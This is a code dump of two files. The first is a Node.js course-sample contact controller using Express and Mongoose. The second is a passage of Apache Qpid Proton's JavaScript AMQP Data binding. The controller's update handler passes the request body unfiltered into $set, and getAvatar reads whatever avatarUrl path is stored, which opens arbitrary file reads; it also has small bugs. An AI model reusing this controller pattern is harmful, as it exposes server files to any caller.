] | null | null | null | src/controller/contact.controller.js | vanduc1102/nodejs-course-api-sample | 7b63d4e422fc90e15865f19ff4e659e7427c3a96 | [
"MIT"
] | null | null | null | 'use strict';
/**
* Module dependencies
*/
const mongoose = require('mongoose'),
fs = require('fs'),
Contact = mongoose.model('Contact'),
authorization= require('../service/authorization.service');
/**
* Create an Contact
*/
exports.createByFormData = function (req, res) {
req.body.avatarUrl = req.file.path;
req.body.createdUser = req.user.email;
let contact = new Contact(req.body);
contact.save(function (err) {
if (err) {
return res.status(422).send({
message: err
});
} else {
res.json(contact);
}
});
};
exports.getAvatar = function (req, res) {
let contactId = req.params.contactId;
Contact.findById(contactId).exec(function (err, contact) {
fs.readFile(contact.avatarUrl, function (err, data) {
if (err) {
return res.status(422).send({
message: err
});
}
res.writeHead(200, { 'Content-Type': 'image/jpeg' });
res.end(data);
});
});
};
/**
* Create an Contact
*/
exports.create = function (req, res) {
req.body.createdUser = req.user.email;
let contact = new Contact(req.body);
contact.save(function (err) {
if (err) {
return res.status(422).send({
message: err
});
} else {
res.json(contact);
}
});
};
/**
* Show the current Contact
*/
exports.read = function (req, res) {
let contactId = req.params.contactId;
if (!mongoose.Types.ObjectId.isValid(contactId)) {
return res.status(400).send({
message: 'Contact is invalid'
});
}
Contact.findById(contactId).exec(function (err, contact) {
if (err) {
return next(err);
} else if (!contact) {
return res.status(404).send({
message: 'No Contact with ' + contactId + ' identifier has been found'
});
}
req.contact = contact;
res.json(contact);
});
};
/**
* Update an Contact
*/
exports.update = function (req, res) {
let contactId = req.params.contactId;
req.body.updatedUser = req.user.email;
Contact.findByIdAndUpdate(contactId, { $set: req.body }, { new: true }, function (err, contact) {
if (err) {
return res.status(500).send({
message: err
});
}
res.send(contact);
});
};
/**
* Delete an Contact
*/
exports.delete = function (req, res) {
let contactId = req.params.contactId;
Contact.remove({ _id: contactId }, (err) => {
if (err) {
return res.status(500).send({
message: err
});
} else {
res.json({
message: "Deleted: " + contactId
});
}
});
};
/**
* List of Contacts
*/
exports.list = function (req, res) {
Contact.find().sort('createdAt').exec(function (err, contacts) {
if (err) {
return res.status(422).send({
message: err
});
} else {
res.json(contacts);
}
});
};
/**
* List of Contacts
*/
exports.checkAuthorization = function (req, res, next) {
let email = req.user.email;
if(authorization.isAdmin(email)){
next();
return;
}
res.status = 403;
res.json({
error:"Not Authorization"
})
};
| 20.256579 | 99 | 0.580383 |
061d2bdfe4b7ed7cd619c24d011e2e840baccb0c | 53,716 | js | JavaScript | proton-c/bindings/javascript/data.js | stewnorriss/https-github.com-apache-qpid-proton | 4d25d88f5c96165c7c6aa24c28d214ad599caff8 | [
"Apache-2.0"
] | 2 | 2020-04-28T13:33:06.000Z | 2020-06-01T14:51:05.000Z | proton-c/bindings/javascript/data.js | stewnorriss/https-github.com-apache-qpid-proton | 4d25d88f5c96165c7c6aa24c28d214ad599caff8 | [
"Apache-2.0"
] | null | null | null | proton-c/bindings/javascript/data.js | stewnorriss/https-github.com-apache-qpid-proton | 4d25d88f5c96165c7c6aa24c28d214ad599caff8 | [
"Apache-2.0"
] | 4 | 2015-10-17T20:44:45.000Z | 2021-06-08T19:00:56.000Z | /*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*
*/
/*****************************************************************************/
/* */
/* Data */
/* */
/*****************************************************************************/
/**
* Constructs a proton.Data instance.
* @classdesc
* The Data class provides an interface for decoding, extracting, creating, and
* encoding arbitrary AMQP data. A Data object contains a tree of AMQP values.
* Leaf nodes in this tree correspond to scalars in the AMQP type system such as
* ints<INT> or strings<STRING>. Non-leaf nodes in this tree correspond to compound
* values in the AMQP type system such as lists<LIST>, maps<MAP>, arrays<ARRAY>,
* or described values<DESCRIBED>. The root node of the tree is the Data object
* itself and can have an arbitrary number of children.
* <p>
* A Data object maintains the notion of the current sibling node and a current
* parent node. Siblings are ordered within their parent. Values are accessed
* and/or added by using the next, prev, enter, and exit methods to navigate to
* the desired location in the tree and using the supplied variety of put* and
* get* methods to access or add a value of the desired type.
* <p>
* The put* methods will always add a value after the current node in the tree.
* If the current node has a next sibling the put* method will overwrite the value
* on this node. If there is no current node or the current node has no next
* sibling then one will be added. The put* methods always set the added/modified
* node to the current node. The get* methods read the value of the current node
* and do not change which node is current.
* @constructor proton.Data
* @param {number} data an optional pointer to a pn_data_t instance. If supplied
* the underlying data is "owned" by another object (for example a Message)
* and that object is assumed to be responsible for freeing the data if
* necessary. If no data is supplied then the Data is stand-alone and the
* client application is responsible for freeing the underlying data via
* a call to free().
* @param {boolean} decodeBinaryAsString if set decode any AMQP Binary payload
* objects as strings. This can be useful as the data in Binary objects
* will be overwritten with subsequent calls to get, so they must be
* explicitly copied. Needless to say it is only safe to set this flag if
* you know that the data you are dealing with is actually a string, for
* example C/C++ applications often seem to encode strings as AMQP binary,
* a common cause of interoperability problems.
*/
Module['Data'] = function(data, decodeBinaryAsString) { // Data Constructor.
if (!data) {
this._data = _pn_data(16); // Default capacity is 16
this['free'] = function() {
_pn_data_free(this._data);
// Set free to a null function to prevent possibility of a "double free".
this['free'] = function() {};
};
} else {
this._data = data;
this['free'] = function() {};
}
this._decodeBinaryAsString = decodeBinaryAsString;
};
// Expose constructor as package scope variable to make internal calls less verbose.
var Data = Module['Data'];
// Expose prototype as a variable to make method declarations less verbose.
var _Data_ = Data.prototype;
// ************************** Class properties ********************************
Data['NULL'] = 1;
Data['BOOL'] = 2;
Data['UBYTE'] = 3;
Data['BYTE'] = 4;
Data['USHORT'] = 5;
Data['SHORT'] = 6;
Data['UINT'] = 7;
Data['INT'] = 8;
Data['CHAR'] = 9;
Data['ULONG'] = 10;
Data['LONG'] = 11;
Data['TIMESTAMP'] = 12;
Data['FLOAT'] = 13;
Data['DOUBLE'] = 14;
Data['DECIMAL32'] = 15;
Data['DECIMAL64'] = 16;
Data['DECIMAL128'] = 17;
Data['UUID'] = 18;
Data['BINARY'] = 19;
Data['STRING'] = 20;
Data['SYMBOL'] = 21;
Data['DESCRIBED'] = 22;
Data['ARRAY'] = 23;
Data['LIST'] = 24;
Data['MAP'] = 25;
/**
* Look-up table mapping proton-c types to the accessor method used to
* deserialise the type. N.B. this is a simple Array and not a map because the
* types that we get back from pn_data_type are integers from the pn_type_t enum.
* @property {Array<String>} TypeNames ['NULL', 'NULL', 'BOOL', 'UBYTE', 'BYTE',
* 'USHORT', 'SHORT', 'UINT', 'INT', 'CHAR', 'ULONG', 'LONG', 'TIMESTAMP',
* 'FLOAT', 'DOUBLE', 'DECIMAL32', 'DECIMAL64', 'DECIMAL128', 'UUID',
* 'BINARY', 'STRING', 'SYMBOL', 'DESCRIBED', 'ARRAY', 'LIST', 'MAP']
* @memberof! proton.Data
*/
Data['TypeNames'] = [
'NULL', // 0
'NULL', // PN_NULL = 1
'BOOL', // PN_BOOL = 2
'UBYTE', // PN_UBYTE = 3
'BYTE', // PN_BYTE = 4
'USHORT', // PN_USHORT = 5
'SHORT', // PN_SHORT = 6
'UINT', // PN_UINT = 7
'INT', // PN_INT = 8
'CHAR', // PN_CHAR = 9
'ULONG', // PN_ULONG = 10
'LONG', // PN_LONG = 11
'TIMESTAMP', // PN_TIMESTAMP = 12
'FLOAT', // PN_FLOAT = 13
'DOUBLE', // PN_DOUBLE = 14
'DECIMAL32', // PN_DECIMAL32 = 15
'DECIMAL64', // PN_DECIMAL64 = 16
'DECIMAL128', // PN_DECIMAL128 = 17
'UUID', // PN_UUID = 18
'BINARY', // PN_BINARY = 19
'STRING', // PN_STRING = 20
'SYMBOL', // PN_SYMBOL = 21
'DESCRIBED', // PN_DESCRIBED = 22
'ARRAY', // PN_ARRAY = 23
'LIST', // PN_LIST = 24
'MAP' // PN_MAP = 25
];
// *************************** Class methods **********************************
/**
* Test if a given Object is a JavaScript Array.
* @method isArray
* @memberof! proton.Data
* @param {object} o the Object that we wish to test.
* @returns {boolean} true iff the Object is a JavaScript Array.
*/
Data.isArray = Array.isArray || function(o) {
return Object.prototype.toString.call(o) === '[object Array]';
};
/**
* Test if a given Object is a JavaScript Number.
* @method isNumber
* @memberof! proton.Data
* @param {object} o the Object that we wish to test.
* @returns {boolean} true iff the Object is a JavaScript Number.
*/
Data.isNumber = function(o) {
return typeof o === 'number' ||
(typeof o === 'object' && Object.prototype.toString.call(o) === '[object Number]');
};
/**
* Test if a given Object is a JavaScript String.
* @method isString
* @memberof! proton.Data
* @param {object} o the Object that we wish to test.
* @returns {boolean} true iff the Object is a JavaScript String.
*/
Data.isString = function(o) {
return typeof o === 'string' ||
(typeof o === 'object' && Object.prototype.toString.call(o) === '[object String]');
};
/**
* Test if a given Object is a JavaScript Boolean.
* @method isBoolean
* @memberof! proton.Data
* @param {object} o the Object that we wish to test.
* @returns {boolean} true iff the Object is a JavaScript Boolean.
*/
Data.isBoolean = function(o) {
return typeof o === 'boolean' ||
(typeof o === 'object' && Object.prototype.toString.call(o) === '[object Boolean]');
};
// ************************* Protected methods ********************************
// We use the dot notation rather than associative array form for protected
// methods so they are visible to this "package", but the Closure compiler will
// minify and obfuscate names, effectively making a defacto "protected" method.
/**
* This helper method checks the supplied error code, converts it into an
* exception and throws the exception. This method will try to use the message
* populated in pn_data_error(), if present, but if not it will fall
* back to using the basic error code rendering from pn_code().
* @param code the error code to check.
*/
_Data_._check = function(code) {
if (code < 0) {
var errno = this['getErrno']();
var message = errno ? this['getError']() : Pointer_stringify(_pn_code(code));
throw new Module['DataError'](message);
} else {
return code;
}
};
// *************************** Public methods *********************************
/**
* @method getErrno
* @memberof! proton.Data#
* @returns {number} the most recent error message code.
*/
_Data_['getErrno'] = function() {
return _pn_data_errno(this._data);
};
/**
* @method getError
* @memberof! proton.Data#
* @returns {string} the most recent error message as a String.
*/
_Data_['getError'] = function() {
return Pointer_stringify(_pn_error_text(_pn_data_error(this._data)));
};
/**
* Clears the data object.
* @method clear
* @memberof! proton.Data#
*/
_Data_['clear'] = function() {
_pn_data_clear(this._data);
};
/**
* Clears current node and sets the parent to the root node. Clearing the current
* node sets it _before_ the first node, calling next() will advance to the first node.
* @method rewind
* @memberof! proton.Data#
*/
_Data_['rewind'] = function() {
_pn_data_rewind(this._data);
};
/**
* Advances the current node to its next sibling and returns its type. If there
* is no next sibling the current node remains unchanged and null is returned.
* @method next
* @memberof! proton.Data#
* @returns {number} the type of the next sibling or null.
*/
_Data_['next'] = function() {
var found = _pn_data_next(this._data);
if (found) {
return this.type();
} else {
return null;
}
};
/**
* Advances the current node to its previous sibling and returns its type. If there
* is no previous sibling the current node remains unchanged and null is returned.
* @method prev
* @memberof! proton.Data#
* @returns {number} the type of the previous sibling or null.
*/
_Data_['prev'] = function() {
var found = _pn_data_prev(this._data);
if (found) {
return this.type();
} else {
return null;
}
};
/**
* Sets the parent node to the current node and clears the current node. Clearing
* the current node sets it _before_ the first child, next() advances to the first child.
* @method enter
* @memberof! proton.Data#
*/
_Data_['enter'] = function() {
return (_pn_data_enter(this._data) > 0);
};
/**
* Sets the current node to the parent node and the parent node to its own parent.
* @method exit
* @memberof! proton.Data#
*/
_Data_['exit'] = function() {
return (_pn_data_exit(this._data) > 0);
};
/**
* Look up a value by name. N.B. Need to use getObject() to retrieve the actual
* value after lookup suceeds.
* @method lookup
* @memberof! proton.Data#
* @param {string} name the name of the property to look up.
* @returns {boolean} true iff the lookup succeeded.
*/
_Data_['lookup'] = function(name) {
var sp = Runtime.stackSave();
var lookup = _pn_data_lookup(this._data, allocate(intArrayFromString(name), 'i8', ALLOC_STACK));
Runtime.stackRestore(sp);
return (lookup > 0);
};
// TODO document - not quite sure what these are for?
_Data_['narrow'] = function() {
_pn_data_narrow(this._data);
};
_Data_['widen'] = function() {
_pn_data_widen(this._data);
};
/**
* @method type
* @memberof! proton.Data#
* @returns {number} the type of the current node or null if the type is unknown.
*/
_Data_['type'] = function() {
var dtype = _pn_data_type(this._data);
if (dtype === -1) {
return null;
} else {
return dtype;
}
};
/**
* Return a Binary representation of the data encoded in AMQP format. N.B. the
* returned {@link proton.Data.Binary} "owns" the underlying raw data and is thus
* responsible for freeing it or passing it to a method that consumes a Binary
* such as {@link proton.Data.decode} or {@link proton.Data.putBINARY}.
* @method encode
* @memberof! proton.Data#
* @returns {proton.Data.Binary} a representation of the data encoded in AMQP format.
*/
_Data_['encode'] = function() {
var size = 1024;
while (true) {
var bytes = _malloc(size); // Allocate storage from emscripten heap.
var cd = _pn_data_encode(this._data, bytes, size);
if (cd === Module['Error']['OVERFLOW']) {
_free(bytes);
size *= 2;
} else if (cd >= 0) {
return new Data['Binary'](cd, bytes);
} else {
_free(bytes);
this._check(cd);
return;
}
}
};
/**
* Decodes the first value from supplied Binary AMQP data and returns a new
* {@link proton.Data.Binary} containing the remainder of the data or null if
* all the supplied data has been consumed. N.B. this method "consumes" data
* from a {@link proton.Data.Binary} in other words it takes responsibility for
* the underlying data and frees the raw data from the Binary.
* @method decode
* @memberof! proton.Data#
* @param {proton.Data.Binary} encoded the AMQP encoded binary data.
* @returns {proton.Data.Binary} a Binary containing the remaining bytes or null
* if all the data has been consumed.
*/
_Data_['decode'] = function(encoded) {
var start = encoded.start;
var size = encoded.size;
var consumed = this._check(_pn_data_decode(this._data, start, size));
size = size - consumed;
start = _malloc(size); // Allocate storage from emscripten heap.
_memcpy(start, encoded.start + consumed, size);
encoded['free'](); // Free the original Binary.
return size > 0 ? new Data['Binary'](size, start) : null;
};
/**
* Puts a list node. Elements may be filled by entering the list
* node and putting element values.
* <pre>
* var data = new proton.Data();
* data.putLISTNODE();
* data.enter();
* data.putINT(1);
* data.putINT(2);
* data.putINT(3);
* data.exit();
* </pre>
* @method putLISTNODE
* @memberof! proton.Data#
*/
_Data_['putLISTNODE'] = function() {
this._check(_pn_data_put_list(this._data));
};
/**
* Puts a map node. Elements may be filled by entering the map node
* and putting alternating key value pairs.
* <pre>
* var data = new proton.Data();
* data.putMAPNODE();
* data.enter();
* data.putSTRING('key');
* data.putSTRING('value');
* data.exit();
* </pre>
* @method putMAPNODE
* @memberof! proton.Data#
*/
_Data_['putMAPNODE'] = function() {
this._check(_pn_data_put_map(this._data));
};
/**
* Puts an array node. Elements may be filled by entering the array node and
* putting the element values. The values must all be of the specified array
* element type. If an array is described then the first child value of the array
* is the descriptor and may be of any type.
* <pre>
* var data = new proton.Data();
* data.putARRAYNODE(false, proton.Data.INT);
* data.enter();
* data.putINT(1);
* data.putINT(2);
* data.putINT(3);
* data.exit();
*
* data.putARRAYNODE(true, proton.Data.DOUBLE);
* data.enter();
* data.putSYMBOL('array-descriptor');
* data.putDOUBLE(1.1);
* data.putDOUBLE(1.2);
* data.putDOUBLE(1.3);
* data.exit();
* </pre>
* @method putARRAYNODE
* @param {boolean} described specifies whether the array is described.
* @param {number} type the type of the array elements.
* @memberof! proton.Data#
*/
_Data_['putARRAYNODE'] = function(described, type) {
this._check(_pn_data_put_array(this._data, described, type));
};
/**
* Puts a described node. A described node has two children, the descriptor and
* value. These are specified by entering the node and putting the desired values.
* <pre>
* var data = new proton.Data();
* data.putDESCRIBEDNODE();
* data.enter();
* data.putSYMBOL('value-descriptor');
* data.putSTRING('the value');
* data.exit();
* </pre>
* @method putDESCRIBEDNODE
* @memberof! proton.Data#
*/
_Data_['putDESCRIBEDNODE'] = function() {
this._check(_pn_data_put_described(this._data));
};
/**
* Puts a null value.
* @method putNULL
* @memberof! proton.Data#
*/
_Data_['putNULL'] = function() {
this._check(_pn_data_put_null(this._data));
};
/**
* Puts a boolean value.
* @method putBOOL
* @memberof! proton.Data#
* @param {boolean} b a boolean value.
*/
_Data_['putBOOL'] = function(b) {
this._check(_pn_data_put_bool(this._data, b));
};
/**
* Puts a unsigned byte value.
* @method putUBYTE
* @memberof! proton.Data#
* @param {number} ub an integral value.
*/
_Data_['putUBYTE'] = function(ub) {
this._check(_pn_data_put_ubyte(this._data, ub));
};
/**
* Puts a signed byte value.
* @method putBYTE
* @memberof! proton.Data#
* @param {number} b an integral value.
*/
_Data_['putBYTE'] = function(b) {
this._check(_pn_data_put_byte(this._data, b));
};
/**
* Puts a unsigned short value.
* @method putUSHORT
* @memberof! proton.Data#
* @param {number} us an integral value.
*/
_Data_['putUSHORT'] = function(us) {
this._check(_pn_data_put_ushort(this._data, us));
};
/**
* Puts a signed short value.
* @method putSHORT
* @memberof! proton.Data#
* @param {number} s an integral value.
*/
_Data_['putSHORT'] = function(s) {
this._check(_pn_data_put_short(this._data, s));
};
/**
* Puts a unsigned integer value.
* @method putUINT
* @memberof! proton.Data#
* @param {number} ui an integral value.
*/
_Data_['putUINT'] = function(ui) {
this._check(_pn_data_put_uint(this._data, ui));
};
/**
* Puts a signed integer value.
* @method putINT
* @memberof! proton.Data#
* @param {number} i an integral value.
*/
_Data_['putINT'] = function(i) {
this._check(_pn_data_put_int(this._data, i));
};
/**
* Puts a signed char value.
* @method putCHAR
* @memberof! proton.Data#
* @param {(string|number)} c a single character expressed either as a string or a number.
*/
_Data_['putCHAR'] = function(c) {
c = Data.isString(c) ? c.charCodeAt(0) : c;
this._check(_pn_data_put_char(this._data, c));
};
/**
* Puts a unsigned long value. N.B. large values can suffer from a loss of
* precision as JavaScript numbers are restricted to 64 bit double values.
* @method putULONG
* @memberof! proton.Data#
* @param {number} ul an integral value.
*/
_Data_['putULONG'] = function(ul) {
// If the supplied number exceeds the range of Data.Long invert it before
// constructing the Data.Long.
ul = (ul >= Data.Long.TWO_PWR_63_DBL_) ? (ul = -(Data.Long.TWO_PWR_64_DBL_ - ul)) : ul;
var long = Data.Long.fromNumber(ul);
this._check(_pn_data_put_ulong(this._data, long.getLowBitsUnsigned(), long.getHighBits()));
};
/**
* Puts a signed long value. N.B. large values can suffer from a loss of
* precision as JavaScript numbers are restricted to 64 bit double values.
* @method putLONG
* @memberof! proton.Data#
* @param {number} i an integral value.
*/
_Data_['putLONG'] = function(l) {
var long = Data.Long.fromNumber(l);
this._check(_pn_data_put_long(this._data, long.getLowBitsUnsigned(), long.getHighBits()));
};
/**
* Puts a timestamp.
* @method putTIMESTAMP
* @memberof! proton.Data#
* @param {(number|Date)} d a Date value.
*/
_Data_['putTIMESTAMP'] = function(d) {
// Note that a timestamp is a 64 bit number so we have to use a proton.Data.Long.
var timestamp = Data.Long.fromNumber(d.valueOf());
this._check(_pn_data_put_timestamp(this._data, timestamp.getLowBitsUnsigned(), timestamp.getHighBits()));
};
/**
* Puts a float value. N.B. converting between floats and doubles is imprecise
* so the resulting value might not quite be what you expect.
* @method putFLOAT
* @memberof! proton.Data#
* @param {number} f a floating point value.
*/
_Data_['putFLOAT'] = function(f) {
this._check(_pn_data_put_float(this._data, f));
};
/**
* Puts a double value.
* @method putDOUBLE
* @memberof! proton.Data#
* @param {number} d a floating point value.
*/
_Data_['putDOUBLE'] = function(d) {
this._check(_pn_data_put_double(this._data, d));
};
/**
* Puts a decimal32 value.
* @method putDECIMAL32
* @memberof! proton.Data#
* @param {number} d a decimal32 value.
*/
_Data_['putDECIMAL32'] = function(d) {
this._check(_pn_data_put_decimal32(this._data, d));
};
/**
* Puts a decimal64 value.
* @method putDECIMAL64
* @memberof! proton.Data#
* @param {number} d a decimal64 value.
*/
_Data_['putDECIMAL64'] = function(d) {
this._check(_pn_data_put_decimal64(this._data, d));
};
/**
* Puts a decimal128 value.
* @method putDECIMAL128
* @memberof! proton.Data#
* @param {number} d a decimal128 value.
*/
_Data_['putDECIMAL128'] = function(d) {
this._check(_pn_data_put_decimal128(this._data, d));
};
/**
* Puts a UUID value.
* @method putUUID
* @memberof! proton.Data#
* @param {proton.Data.Uuid} u a uuid value
*/
_Data_['putUUID'] = function(u) {
var sp = Runtime.stackSave();
this._check(_pn_data_put_uuid(this._data, allocate(u['uuid'], 'i8', ALLOC_STACK)));
Runtime.stackRestore(sp);
};
/**
* Puts a binary value consuming the underlying raw data in the process.
* @method putBINARY
* @memberof! proton.Data#
* @param {proton.Data.Binary} b a binary value.
*/
_Data_['putBINARY'] = function(b) {
var sp = Runtime.stackSave();
// The implementation here is a bit "quirky" due to some low-level details
// of the interaction between emscripten and LLVM and the use of pn_bytes.
// The JavaScript code below is basically a binding to:
//
// pn_data_put_binary(data, pn_bytes(b.size, b.start));
// Here's the quirky bit, pn_bytes actually returns pn_bytes_t *by value* but
// the low-level code handles this *by pointer* so we first need to allocate
// 8 bytes storage for {size, start} on the emscripten stack and then we
// pass the pointer to that storage as the first parameter to the pn_bytes.
var bytes = allocate(8, 'i8', ALLOC_STACK);
_pn_bytes(bytes, b.size, b.start);
// The compiled pn_data_put_binary takes the pn_bytes_t by reference not value.
this._check(_pn_data_put_binary(this._data, bytes));
// After calling _pn_data_put_binary the underlying Data object "owns" the
// binary data, so we can call free on the proton.Data.Binary instance to
// release any storage it has acquired back to the emscripten heap.
b['free']();
Runtime.stackRestore(sp);
};
/**
* Puts a unicode string value.
* @method putSTRING
* @memberof! proton.Data#
* @param {string} s a unicode string value.
*/
_Data_['putSTRING'] = function(s) {
var sp = Runtime.stackSave();
// The implementation here is a bit "quirky" due to some low-level details
// of the interaction between emscripten and LLVM and the use of pn_bytes.
// The JavaScript code below is basically a binding to:
//
// pn_data_put_string(data, pn_bytes(strlen(text), text));
// First create an array from the JavaScript String using the intArrayFromString
// helper function (from emscripten/src/preamble.js). We use this idiom in a
// few places but here we create array as a separate var as we need its length.
var array = intArrayFromString(s, true); // The true means don't add NULL.
// Allocate temporary storage for the array on the emscripten stack.
var str = allocate(array, 'i8', ALLOC_STACK);
// Here's the quirky bit, pn_bytes actually returns pn_bytes_t *by value* but
// the low-level code handles this *by pointer* so we first need to allocate
// 8 bytes storage for {size, start} on the emscripten stack and then we
// pass the pointer to that storage as the first parameter to the pn_bytes.
var bytes = allocate(8, 'i8', ALLOC_STACK);
_pn_bytes(bytes, array.length, str);
// The compiled pn_data_put_string takes the pn_bytes_t by reference not value.
this._check(_pn_data_put_string(this._data, bytes));
Runtime.stackRestore(sp);
};
/**
* Puts a symbolic value. According to the AMQP 1.0 Specification Symbols are
* values from a constrained domain. Although the set of possible domains is
* open-ended, typically the both number and size of symbols in use for any
* given application will be small, e.g. small enough that it is reasonable to
* cache all the distinct values. Symbols are encoded as ASCII characters.
* @method putSYMBOL
* @memberof! proton.Data#
* @param {proton.Data.Symbol|string} s the symbol name.
*/
_Data_['putSYMBOL'] = function(s) {
var sp = Runtime.stackSave();
// The implementation here is a bit "quirky" due to some low-level details
// of the interaction between emscripten and LLVM and the use of pn_bytes.
// The JavaScript code below is basically a binding to:
//
// pn_data_put_symbol(data, pn_bytes(strlen(text), text));
// First create an array from the JavaScript String using the intArrayFromString
// helper function (from emscripten/src/preamble.js). We use this idiom in a
// few places but here we create array as a separate var as we need its length.
var array = intArrayFromString(s, true); // The true means don't add NULL.
// Allocate temporary storage for the array on the emscripten stack.
var str = allocate(array, 'i8', ALLOC_STACK);
// Here's the quirky bit, pn_bytes actually returns pn_bytes_t *by value* but
// the low-level code handles this *by pointer* so we first need to allocate
// 8 bytes storage for {size, start} on the emscripten stack and then we
// pass the pointer to that storage as the first parameter to the pn_bytes.
var bytes = allocate(8, 'i8', ALLOC_STACK);
_pn_bytes(bytes, array.length, str);
// The compiled pn_data_put_symbol takes the pn_bytes_t by reference not value.
this._check(_pn_data_put_symbol(this._data, bytes));
Runtime.stackRestore(sp);
};
/**
* If the current node is a list node, return the number of elements,
* otherwise return zero. List elements can be accessed by entering
* the list.
* <pre>
* var count = data.getLISTNODE();
* data.enter();
* for (var i = 0; i < count; i++) {
* var type = data.next();
* if (type === proton.Data.STRING) {
* console.log(data.getSTRING());
* }
* }
* data.exit();
* </pre>
* @method getLISTNODE
* @memberof! proton.Data#
* @returns {number} the number of elements if the current node is a list,
* zero otherwise.
*/
_Data_['getLISTNODE'] = function() {
return _pn_data_get_list(this._data);
};
/**
* If the current node is a map, return the number of child elements,
* otherwise return zero. Key value pairs can be accessed by entering
* the map.
* <pre>
* var count = data.getMAPNODE();
* data.enter();
* for (var i = 0; i < count/2; i++) {
* var type = data.next();
* if (type === proton.Data.STRING) {
* console.log(data.getSTRING());
* }
* }
* data.exit();
* </pre>
* @method getMAPNODE
* @memberof! proton.Data#
* @returns {number} the number of elements if the current node is a list,
* zero otherwise.
*/
_Data_['getMAPNODE'] = function() {
return _pn_data_get_map(this._data);
};
/**
* If the current node is an array, return an object containing the tuple of the
* element count, a boolean indicating whether the array is described, and the
* type of each element, otherwise return {count: 0, described: false, type: null).
* Array data can be accessed by entering the array.
* <pre>
* // Read an array of strings with a symbolic descriptor
* var metadata = data.getARRAYNODE();
* var count = metadata.count;
* data.enter();
* data.next();
* console.log("Descriptor:" + data.getSYMBOL());
* for (var i = 0; i < count; i++) {
* var type = data.next();
* console.log("Element:" + data.getSTRING());
* }
* data.exit();
* </pre>
* @method getARRAYNODE
* @memberof! proton.Data#
* @returns {object} the tuple of the element count, a boolean indicating whether
* the array is described, and the type of each element.
*/
_Data_['getARRAYNODE'] = function() {
var count = _pn_data_get_array(this._data);
var described = (_pn_data_is_array_described(this._data) > 0);
var type = _pn_data_get_array_type(this._data);
type = (type == -1) ? null : type;
return {'count': count, 'described': described, 'type': type};
};
/**
* Checks if the current node is a described node. The descriptor and value may
* be accessed by entering the described node.
* <pre>
* // read a symbolically described string
* assert(data.isDESCRIBEDNODE()); // will error if the current node is not described
* data.enter();
* console.log(data.getSYMBOL());
* console.log(data.getSTRING());
* data.exit();
* </pre>
* @method isDESCRIBEDNODE
* @memberof! proton.Data#
* @returns {boolean} true iff the current node is a described, false otherwise.
*/
_Data_['isDESCRIBEDNODE'] = function() {
return _pn_data_is_described(this._data);
};
/**
* @method getNULL
* @memberof! proton.Data#
* @returns a null value.
*/
_Data_['getNULL'] = function() {
return null;
};
/**
* Checks if the current node is a null.
* @method isNULL
* @memberof! proton.Data#
* @returns {boolean} true iff the current node is null.
*/
_Data_['isNULL'] = function() {
return (_pn_data_is_null(this._data) > 0);
};
/**
* @method getBOOL
* @memberof! proton.Data#
* @returns {boolean} a boolean value if the current node is a boolean, returns
* false otherwise.
*/
_Data_['getBOOL'] = function() {
return (_pn_data_get_bool(this._data) > 0);
};
/**
* @method getUBYTE
* @memberof! proton.Data#
* @returns {number} value if the current node is an unsigned byte, returns 0 otherwise.
*/
_Data_['getUBYTE'] = function() {
return _pn_data_get_ubyte(this._data) & 0xFF; // & 0xFF converts to unsigned;
};
/**
* @method getBYTE
* @memberof! proton.Data#
* @returns {number} value if the current node is a signed byte, returns 0 otherwise.
*/
_Data_['getBYTE'] = function() {
return _pn_data_get_byte(this._data);
};
/**
* @method getUSHORT
* @memberof! proton.Data#
* @returns {number} value if the current node is an unsigned short, returns 0 otherwise.
*/
_Data_['getUSHORT'] = function() {
return _pn_data_get_ushort(this._data) & 0xFFFF; // & 0xFFFF converts to unsigned;
};
/**
* @method getSHORT
* @memberof! proton.Data#
* @returns {number} value if the current node is a signed short, returns 0 otherwise.
*/
_Data_['getSHORT'] = function() {
return _pn_data_get_short(this._data);
};
/**
* @method getUINT
* @memberof! proton.Data#
* @returns {number} value if the current node is an unsigned int, returns 0 otherwise.
*/
_Data_['getUINT'] = function() {
var value = _pn_data_get_uint(this._data);
return (value > 0) ? value : 4294967296 + value; // 4294967296 == 2^32
};
/**
* @method getINT
* @memberof! proton.Data#
* @returns {number} value if the current node is a signed int, returns 0 otherwise.
*/
_Data_['getINT'] = function() {
return _pn_data_get_int(this._data);
};
/**
* @method getCHAR
* @memberof! proton.Data#
* @returns {string} the character represented by the unicode value of the current node.
*/
_Data_['getCHAR'] = function() {
return String.fromCharCode(_pn_data_get_char(this._data));
};
/**
* Retrieve an unsigned long value. N.B. large values can suffer from a loss of
* precision as JavaScript numbers are restricted to 64 bit double values.
* @method getULONG
* @memberof! proton.Data#
* @returns {proton.Data.Long} value if the current node is an unsigned long, returns 0 otherwise.
*/
_Data_['getULONG'] = function() {
var low = _pn_data_get_ulong(this._data);
var high = Runtime.getTempRet0();
var long = new Data.Long(low, high);
long = long.toNumber();
return (long >= 0) ? long : Data.Long.TWO_PWR_64_DBL_ + long;
};
/**
* Retrieve a signed long value. N.B. large values can suffer from a loss of
* precision as JavaScript numbers are restricted to 64 bit double values.
* @method getLONG
* @memberof! proton.Data#
* @returns {proton.Data.Long} value if the current node is a signed long, returns 0 otherwise.
*/
_Data_['getLONG'] = function() {
// Getting the long is a little tricky as it is a 64 bit number. The way
// emscripten handles this is to return the low 32 bits directly and pass
// the high 32 bits via the tempRet0 variable. We use Data.Long to hold
// the 64 bit number and Data.Long.toNumber() to convert it back into a
// JavaScript number.
var low = _pn_data_get_long(this._data);
var high = Runtime.getTempRet0();
var long = new Data.Long(low, high);
long = long.toNumber();
return long;
};
/**
* @method getTIMESTAMP
* @memberof! proton.Data#
* @returns {Date} a native JavaScript Date instance representing the timestamp.
*/
_Data_['getTIMESTAMP'] = function() {
// Getting the timestamp is a little tricky as it is a 64 bit number. The way
// emscripten handles this is to return the low 32 bits directly and pass
// the high 32 bits via the tempRet0 variable. We use Data.Long to hold
// the 64 bit number and Data.Long.toNumber() to convert it back into a
// JavaScript number.
var low = _pn_data_get_timestamp(this._data);
var high = Runtime.getTempRet0();
var long = new Data.Long(low, high);
long = long.toNumber();
return new Date(long);
};
/**
